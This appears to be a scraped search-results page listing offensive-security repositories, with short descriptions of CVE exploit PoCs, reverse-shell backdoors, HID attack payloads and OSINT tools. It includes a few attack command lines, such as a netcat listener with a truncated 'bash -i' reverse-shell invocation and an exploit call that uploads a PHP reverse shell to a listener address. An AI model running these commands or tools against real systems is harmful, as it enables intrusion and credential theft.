8646 matches found
lbmap
用于高级 HTTP 指纹识别的概念验证脚本，在 OWASP AppSecAsia 2012 上发布。这些脚本应被视为 PoC 或 alpha 质量。 欢迎通过以下链接提供建议、推荐、签名、补丁和吐槽： http://www.github.com/wireghoul/lbmap。 包含以下工具： LBMAP lbmap 是一款指纹识别工具，旨在检测负载均衡器、反向代理、 Web 应用防火墙以及位于 Web 服务器前端的其他 Web 代理。 用法 lbmap options url 选项 --batch --debug --timeout --version lbmap 是 PoC...
ReClass.NET
ReClass.NET 这是将 ReClass 移植到 .NET 平台的版本，并包含了大量额外功能。 功能特点 支持 x86 / x64 从 ReClass 2007-2016 和 ReClass QT 导入文件 内存节点 数组和指向其他所有节点类型的指针 Hex 8 / 16 / 32 / 64 Int 8 / 16 / 32 / 64 UInt 8 / 16 / 32 / 64 Bool Bits 枚举 Float / Double Vector 2 / 3 / 4 Matrix 3x3 / 3x4 / 4x4 UTF8 / UTF16 / UTF32 文本及指向文本的指针 虚函数表...
CVE-2017-7494
CVE-2017-7494 CVE-2017-7494 C poc 利用CVE-2017-7494反弹shell 1.首先编译sambainit.c，生成libsamba.so 2.修改isknownpipename.c中的相关地址，编译执行...
Corsair---DLL-Planting-CVE-2023-38822
Corsair —— DLL 种植漏洞 CVE-2023-38822 Corsair iCUE v.5.3.102 中的 DLL 种植漏洞（CVE-2023-38822） 发现者：Idan Malihi 描述 Corsair iCUE v.5.3.102 中的一个问题允许本地攻击者通过 MPDC.dll、CRYPTSP.dll、dcomp.dll、profapi.dll 和 MSASN1.dll 组件执行任意代码。 复现步骤 要利用 DLL 种植漏洞，攻击者应执行以下步骤： 1. 下载 iCUE 的最新版本。 2. 安装 iCUE 产品。 3. 打开安装路径文件夹，例如 C:\Progr...
CVE-2022-22947
在王政代码基础上添加了，两种反弹shell，出网探测， 运行行时缺少什么模块。使用pip下载哪个模块就行了。 输入可疑的url地址，注意端口后面不要跟'/' 1.先检测是否存在漏洞 默认命令执行的是whoami，因为好多命令执行并不会回显，whoami若回显成功则存在漏洞 返回内容有root,确定存在漏洞 2.反弹shell 输入公网ip与端口 若反弹成功，此页面会卡住。 若反弹失败，会直接结束 3.测试出网， 是为了功能4准备的 默认访问百度页面 4.使用java代码反弹shell 若不能反弹shell，可能不支持/dev/tcp...
CVE-2018-11776
CVE-2018-11776 CVE-2018-11776 / S2-057 的实验环境 演示 运行服务器 root@kitploit: $ docker run -d --hostname struts2 --name cve-2018-11776 -p 30080:8080 knqyf263/cve-2018-11776 利用 root@kitploit: $ nc -l 10000 or nc -lp 10000 root@kitploit: $ python3 exploit.py localhost:30080 'bash -i &...
GTRS
GTRS - 谷歌翻译反向Shell 该工具利用 谷歌翻译 作为代理，向被感染机器发送任意命令。 root@kitploit: 被感染机器 ==HTTPS== 谷歌翻译 ==HTTP== C2 环境配置 首先你需要一台VPS和一个域名，域名可以在 Freenom 免费获取。 服务器端 在你的VPS上运行 server.py root@kitploit: python2.7 server.py Server running on port: 80 Secret Key: e294a11e-bb6f-49ed-b03a-9ec42be55062 它会生成一个密钥，该密钥将在客户端使用。 客户...
XSS2Shell-CVE-2026-64638
🔍 @Mr-LeonardoGomes 💀 XSS2Shell-CVE-2026-64638 Escáner multiobjetivo XSS2Shell Desarrollador: Crédito: YogaGymn Utilidad PoC/escaneo para pruebas de seguridad autorizadas en WordPress. El proyecto contiene un flujo de explotación para un único objetivo y un modo solo escaneo multiobjetivo...
mavd
mavd 移动应用漏洞检测 从 CLI 接收域名或 APK 名称，识别与该域名关联的大多数应用并在本地下载 APK。然后使用 dex2jar 将 APK 逆向为 jar 文件，提取类文件和对象，并在代码中搜索 'secret' 类型的关键词和 URL。...
2018-QWB-CTF
2018-QWB-CTF 2018强网杯CTF题目整理 root@kitploit: │ ├── 01Misc-4题 │ ├── 题目名称：ai-nimals │ │ └── 题目名称：ai-nimals.mhtml │ ├── 题目名称：welcome │ │ └── 题目名称：welcome.mhtml │ ├── 题目名称：签到 │ │ └── 题目名称：签到.mhtml │ └── 题目名称：问卷调查 │ └── 题目名称：问卷调查.mhtml ├── 02Crypto-5题 │ ├── 题目名称：nextrsa │ │ └──...
CVE-2023-20887
CVE-2023-20887 CVE-2023-20887 的概念验证 - VMWare Aria Operations for Networks（vRealize Network Insight）未授权远程代码执行 技术分析 漏洞的根本原因分析可在我的博客中找到： https://summoning.team/blog/vmware-vrealize-network-insight-rce-cve-2023-20887/ 概述 当通过 Apache Thrift RPC 接口接受用户输入时，VMWare Aria Operations for Networks（vRealize...
Kautilya
Kautilya Kautilya 是一个工具包，为渗透测试期间入侵计算机提供各种人机接口设备载荷。 作者：nikhilmitt 载荷列表 Windows 信息收集 收集信息 哈希转储与外泄 键盘记录与外泄 嗅探器 WLAN 密钥转储 获取目标凭据 转储 LSA 机密 明文密码转储 复制 SAM 转储进程内存 转储 Windows 保险库凭据 执行 下载并执行 连接热点并执行代码 使用 PowerShell 执行代码 使用 DNS TXT 查询执行代码 下载并执行 PowerShell 脚本 执行 ShellCode 反向 TCP Shell 后门 Sethc 和 Utilman 后门...
CVE-2020-24186_reverse_shell_upload
CVE-2020-24186 反向shell上传 基于h3v0x编写的exploit的WpDiscuz 7.0.4漏洞利用程序。 利用该漏洞并上传一个反向PHP shell。灵感来源于Blogger CTF。 exploit.py -u http://192.168.1.81/blog -p /wordpress/2021/06/blogpost -l '192.168.1.9' -s 9001 使用示例：...
HackTools
欢迎使用 HackTools！ 简介 — 预览 — 安装 — 构建 — 支持 !NOTE 嘿……喜欢 HackTools 吗？👀 来看看 Penflow —— 我们的新安全测试伴侣！ 在 map.penflow.sh 试试看吧 🚀 !NOTE 亲爱的用户们， 我们激动地宣布一次重大改版！由于近期浏览器扩展环境的变化和多种复杂情况，我们决定将 HackTools 作为一个 Web 应用程序继续发展。 为了让你持续参与，我们在以下链接上传了最新的浏览器扩展 alpha 版本：https://hacktools.sh 敬请期待即将推出的新功能和改进！ 感谢你的支持。 面向进攻性安全专业人员...
buster
Description Buster is an advanced OSINT tool used to: Get social accounts of an email using multiple sourcesgravatar,about.me,myspace,skype,github,linkedin,previous breaches Get links to where the email was found using google,twitter,darksearch and paste sites Get breaches of an email Get domains...
buster
描述 Buster 是一款高级 OSINT 工具，用于： 通过多种来源（Gravatar、About.me、MySpace、Skype、GitHub、LinkedIn、过往数据泄露）获取电子邮件的社交账号 获取通过 Google、Twitter、DarkSearch 和粘贴网站找到该电子邮件的链接 获取电子邮件的泄露记录 获取通过电子邮件注册的域名（反向 Whois） 生成某人的可能电子邮件和用户名 查找社交媒体账号对应的电子邮件 从用户名查找电子邮件 查找某人的工作邮箱 关于如何使用 Buster 的教程可在此处找到 安装 克隆仓库： root@kitploit: $ git clon...
ReverseHttp
ReverseHttp 使用 HTTP POST/GET 请求进行通信的 Python 后门 要求 Python 2.7 Cherrypy pip install cherrypy Requests pip install requests 用法： 启动监听脚本，然后启动控制器，接着发送后门文件，等待连接 截图...
notionterm
notionterm Embed reverse shell inNotion pages. Hack while taking notes FOR ➕: Hiding attacker IP in reverse shell No direct interaction between attacker and target machine. Notion is used as a proxy hosting the reverse shell Demo/Quick proof insertion within report High available and shareable...
notionterm
notionterm Incrusta una reverse shell en páginas deNotion. Hackea mientras tomas notas PARA ➕: Ocultar la IP del atacante en una reverse shell Sin interacción directa entre el atacante y la máquina objetivo. Se usa Notion como proxy que aloja la reverse shell Insertar una demo/prueba rápida en un...